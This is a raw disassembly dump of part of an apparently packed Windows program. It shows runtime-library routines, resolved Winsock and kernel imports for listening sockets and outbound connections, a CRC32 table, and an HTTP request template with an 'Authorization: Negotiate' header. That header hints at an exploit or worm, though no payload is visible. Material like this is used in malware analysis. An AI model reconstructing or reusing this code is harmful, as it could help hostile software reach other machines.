		push	offset nullsub_1
		call	sub_413210
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C994

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41C9D6	proc near		; CODE XREF: sub_402E17+5Ep
					; sub_403A5B+159p
		jmp	dword_41D1E4
sub_41C9D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41C9DC	proc near		; CODE XREF: sub_412A9C+23p
					; sub_412D40+13p
		jmp	dword_41D14C
sub_41C9DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9E2	proc near		; DATA XREF: .nsp0:off_41DC8Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41CA85
		test	[esp+4+arg_0], 1
		jz	short loc_41C9F8
		push	esi
		call	sub_412E4F
		pop	ecx


loc_41C9F8:				; CODE XREF: sub_41C9E2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41C9E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9FE	proc near		; CODE XREF: sub_41C6DA+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41DC8C
		push	dword ptr [edi]
		call	sub_4126F0
		inc	eax
		push	eax
		call	sub_413195
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41CA2D
		push	dword ptr [edi]
		push	eax
		call	sub_412600
		pop	ecx
		pop	ecx


loc_41CA2D:				; CODE XREF: sub_41C9FE+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41C9FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA3B	proc near		; CODE XREF: sub_41C7C1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41DC8C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_41CA78
		push	dword ptr [edi+4]
		call	sub_4126F0
		inc	eax
		push	eax
		call	sub_413195
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41CA7E
		push	dword ptr [edi+4]
		push	eax
		call	sub_412600
		pop	ecx
		pop	ecx
		jmp	short loc_41CA7E
; ---------------------------------------------------------------------------


loc_41CA78:				; CODE XREF: sub_41CA3B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_41CA7E:				; CODE XREF: sub_41CA3B+2Ej
					; sub_41CA3B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_41CA3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA85	proc near		; CODE XREF: sub_41C768+2Bp
					; sub_41C81E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41DC8C
		jz	short locret_41CA9A
		push	dword ptr [ecx+4]
		call	sub_412E4F
		pop	ecx

locret_41CA9A:				; CODE XREF: sub_41CA85+Aj
		retn
sub_41CA85	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_41CAA7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_41CAA7:				; CODE XREF: .nsp0:0041CAA0j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41CAA8	proc near		; CODE XREF: .nsp0:0041CAC0p
		mov	dword ptr [ecx], offset	off_41DCAC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_41CABC
		push	ecx
		call	sub_412813
		pop	ecx

locret_41CABC:				; CODE XREF: sub_41CAA8+Bj
		retn
sub_41CAA8	endp

; ---------------------------------------------------------------------------


loc_41CABD:				; DATA XREF: .nsp0:off_41DCACo
		push	esi
		mov	esi, ecx
		call	sub_41CAA8
		test	byte ptr [esp+8], 1
		jz	short loc_41CAD3
		push	esi
		call	sub_412E4F
		pop	ecx


loc_41CAD3:				; CODE XREF: .nsp0:0041CACAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD9	proc near		; CODE XREF: sub_41C680+54p
					; sub_41C74B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41DCB0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_41D17C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_41CAD9	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CB14	proc near		; DATA XREF: .nsp0:0041DE7Co

; FUNCTION CHUNK AT 004034BF SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_4034BF
sub_41CB14	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_41CB32
		mov	ecx, [ebp+8]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------

locret_41CB32:				; CODE XREF: .nsp0:0041CB24j
		retn
; ---------------------------------------------------------------------------


loc_41CB33:				; DATA XREF: sub_403053o
		mov	eax, offset dword_41DE50
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_41CB50:				; DATA XREF: sub_4031F5o
		mov	eax, offset dword_41DE80
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 4


loc_41CB5C:				; DATA XREF: sub_4037A2o
		mov	eax, offset dword_41DEB0
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_41CB70:				; DATA XREF: sub_41C680o
		mov	eax, offset dword_41DF88
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_41CA85
; ---------------------------------------------------------------------------


loc_41CB84:				; DATA XREF: sub_41C6DAo
		mov	eax, offset dword_41DFB0
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_41CA85
; ---------------------------------------------------------------------------


loc_41CB98:				; DATA XREF: sub_41C768o
		mov	eax, offset dword_41DFF8
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41CA85
; ---------------------------------------------------------------------------


loc_41CBAC:				; DATA XREF: sub_41C7C1o
		mov	eax, offset dword_41E020
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41CA85
; ---------------------------------------------------------------------------


loc_41CBC0:				; DATA XREF: sub_41C81Eo
		mov	eax, offset dword_41E048
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_41CBD4:				; DATA XREF: sub_41C8ACo
		mov	eax, offset dword_41E0B0
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_41CA85
; ---------------------------------------------------------------------------


loc_41CBE8:				; DATA XREF: sub_41C906o
		mov	eax, offset dword_41E0D8
		jmp	loc_412AEB
; ---------------------------------------------------------------------------
		align 4
		dd 103h	dup(0)
		dd 7C80DDFEh, 7C833478h
dword_41D008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_41C115+261r
dword_41D00C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_41C115+B9r
		dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_41D01C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41A826+6r
		dd 7C812641h, 7C81DC03h
dword_41D028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; .nsp0:00419BF1r
		dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_41D03C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_41D040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_419243+E1r
		dd 7C80C058h
dword_41D048	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; .nsp0:00401C13r ...
		dd 7C80A427h, 7C82FA46h, 7C814EEAh
dword_41D058	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_408E17+Dr ...
dword_41D05C	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_4032B0+19Cr ...
		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_41D06C	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; .nsp0:loc_405A04r ...
dword_41D070	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; .nsp0:004059D6r ...
dword_41D074	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_407C23+68o ...
		dd 7C810A77h
dword_41D07C	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_405084+25r ...
dword_41D080	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; .nsp0:00409C99r ...
		dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_41D090	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_404A02+5D7r ...
dword_41D094	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_406774+26r
dword_41D098	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; .nsp0:00408637r ...
dword_41D09C	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_41844F+4Fr
dword_41D0A0	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41D0A4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_41D0A8	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41D0AC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_405FF1+22Fr
dword_41D0B0	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4068C6:loc_406DB6r ...
dword_41D0B4	dd 3E7574h						; sub_4167BF+16o ...
dword_41D0B8	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h
dword_41D0C0	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_41D0C4	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh
		dd 7C81AE17h, 7C85F90Fh
		dd 7C80DDF5h
		dd 7C81E0C7h
dword_41D100	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; .nsp0:00410F4Cr
		dd 7C8310F2h
dword_41D108	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; .nsp0:00409AE5r ...
		dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
		dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_41D12C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; .nsp0:0041884Er ...
dword_41D130	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_4142C9+54r ...
		dd 7C8216A4h, 7C801E16h
dword_41D13C	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA		dd 7C830B14h
dword_41D144	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_413D8F+AFr ...
dword_41D148	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4153F8+2C4r ...
dword_41D14C	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh
dword_41D158	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_415A2C+28r
		dd 7C801EEEh, 7C812F1Dh
dword_41D164	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_41D168	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_41D16C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_41D170	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41D174	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_415ADD+51r
		dd 7C809E79h
dword_41D17C	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_41CAD9+2Er
dword_41D180	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeap		dd 7C838DE8h
dword_41D188	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; .nsp0:0041878Er ...
		dd 7C812E76h, 7C809915h, 7C8127A7h
dword_41D198	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter		dd 7C81DF77h
dword_41D1A0	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW		align 8
dword_41D1A8	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_4040DB+8Er
dword_41D1AC	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_40405E+15r
dword_41D1B0	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_41D1B4	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_41D1B8	dd 71AB3E00h	; resolved to->WS2_32.binddword_41D1BC	dd 71AB88D3h	; resolved to->WS2_32.listendword_41D1C0	dd 71AC1028h	; resolved to->WS2_32.acceptdword_41D1C4	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_40405E+35r
dword_41D1C8	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_403A5B+B3r ...
dword_41D1CC	dd 71AB406Ah	; resolved to->WS2_32.connect					; .nsp0:004039E4r ...
dword_41D1D0	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_403A5B+1F0r
dword_41D1D4	dd 71AB9639h	; resolved to->WS2_32.closesocket					; .nsp0:loc_403A0Br ...
dword_41D1D8	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_4038B1+45r ...
dword_41D1DC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_4038B1+C3r ...
dword_41D1E0	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_403A5B+115r
dword_41D1E4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4031F5+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_41D230	dq 1.388888888888889e-2	; DATA XREF: sub_403007+2Fr
dbl_41D238	dq 1.666666666666667e-1	; DATA XREF: sub_403007+15r
dword_41D240	dd 0FFFFFFFFh						; sub_4034C7r ...
		align 8
dbl_41D248	dq 1.333333333333333	; DATA XREF: sub_403053+79r
dword_41D250	dd 0							; sub_403577+5Bo ...
dword_41D254	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_41D658	dq 9.765625e-4		; DATA XREF: .nsp0:00409418r
					; .nsp0:00409433r ...
dbl_41D660	dq -3.0517578125e-5	; DATA XREF: sub_410D3D+1Er
dbl_41D668	dq 1.0			; DATA XREF: sub_412842+6Cr
					; sub_41298B+6Cr ...
dword_41D670	dd 0FFFFFFFFh, 41449Fh,	4144B3hbyte_41D67C	db 6			; DATA XREF: sub_41461C:loc_414673r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_4314ACo
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_4314A8o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_4316D4o
		align 8
dbl_41D7A8	dq 0.0			; DATA XREF: sub_41626C+8Cr
					; sub_41626C+ACr ...
dbl_41D7B0	dq 4.195835e6		; DATA XREF: sub_416781+Fr
dbl_41D7B8	dq 3.145727e6		; DATA XREF: sub_416781+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4167BFo
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4168E6+93o
		align 10h
dword_41D7F0	dd 0FFFFFFFFh, 416FD1h,	416FDBh, 0dword_41D800	dd 0FFFFFFFFh, 0		dd offset loc_417157
		align 10h
		dd offset sub_417135
		dd offset sub_41713F
dword_41D818	dd 0FFFFFFFFh, 417387h,	41738Bh, 0dword_41D828	dd 0FFFFFFFFh, 4173E9h,	4173F2h, 0dword_41D838	dd 0FFFFFFFFh, 0		dd offset loc_4174BD
		align 8
		dd offset loc_4174A9
		dd offset loc_4174AD
dword_41D850	dd 0FFFFFFFFh, 0		dd offset loc_417513
		align 10h
		dd offset loc_4174FF
		dd offset loc_417503
dword_41D868	dd 2 dup(0)						; .nsp0:00419AFDo ...
dword_41D870	dd 0FFFFFFFFh, 418751h,	418755h, 0FFFFFFFFh, 418805h, 418809h
					; DATA XREF: .nsp0:00418646o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_431B1Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_419639+119o
		align 4
asc_41DB38	db 0Ah			; DATA XREF: sub_419639+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_419639+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_419639+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_419639+7Do
		align 8
dword_41DB78	dd 0FFFFFFFFh, 419BBDh,	419BC1haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41AA32+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41AFBE+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41AFBE+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41AFBE+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41B8D4:loc_41B9C9o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_41B8D4+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_41B8D4+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41B8D4+ADo
		align 4
dword_41DC18	dd 0FFFFFFFFh, 41C2CCh,	41C2D0h, 0FFFFFFFFh, 41C33Bh, 41C33Fh
					; DATA XREF: sub_41C115+5o
		dd 41DD38h
off_41DC34	dd offset loc_41C878	; DATA XREF: sub_41C680+4Do
					; sub_41C894+Co
		dd offset sub_41C73E
		dd offset sub_41C85B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41C680+1Eo
		dd offset dword_41DD70
off_41DC54	dd offset loc_41C7A5	; DATA XREF: sub_41C6DA+4Eo
					; sub_41C768+11o ...
		dd offset sub_41C73E
		dd offset sub_41C74B
		dd offset dword_41DDC0
off_41DC64	dd offset loc_41C960	; DATA XREF: sub_41C8AC+4Do
					; sub_41C97C+Co
		dd offset sub_41C73E
		dd offset sub_41C943
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41C8AC+1Eo
		dd offset dword_41DDF0
off_41DC8C	dd offset sub_41C9E2	; DATA XREF: sub_41C9FE+8o
					; sub_41CA3B+8o ...
; ---------------------------------------------------------------------------
		wait
		retf	41h
; ---------------------------------------------------------------------------
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: .nsp0:0041CAA2o
		align 4
		dd offset dword_41DE38
off_41DCAC	dd offset loc_41CABD	; DATA XREF: sub_41CAA8o
					; .nsp0:off_432240o ...
dword_41DCB0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_41DCD0	dd offset off_432240	; DATA XREF: .nsp0:0041DD20o
					; .nsp0:0041DD54o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41DCE8	dd offset off_432258	; DATA XREF: .nsp0:0041DD1Co
					; .nsp0:0041DD50o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_41DD00	dd offset off_432278	; DATA XREF: .nsp0:0041DD18o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41DD00
		dd offset off_41DCE8
		dd offset off_41DCD0
		dd 0
		db    0			; DATA XREF: .nsp0:0041DD48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41DD18h, 3 dup(0)
		dd offset off_432278
		dd offset unk_41DD28
		align 10h
		dd offset off_41DCE8
		dd offset off_41DCD0
dword_41DD58	dd 4 dup(0)			dd 2, 41DD50h
dword_41DD70	dd 3 dup(0)			dd offset off_432258
		dd offset dword_41DD58+8
		align 8
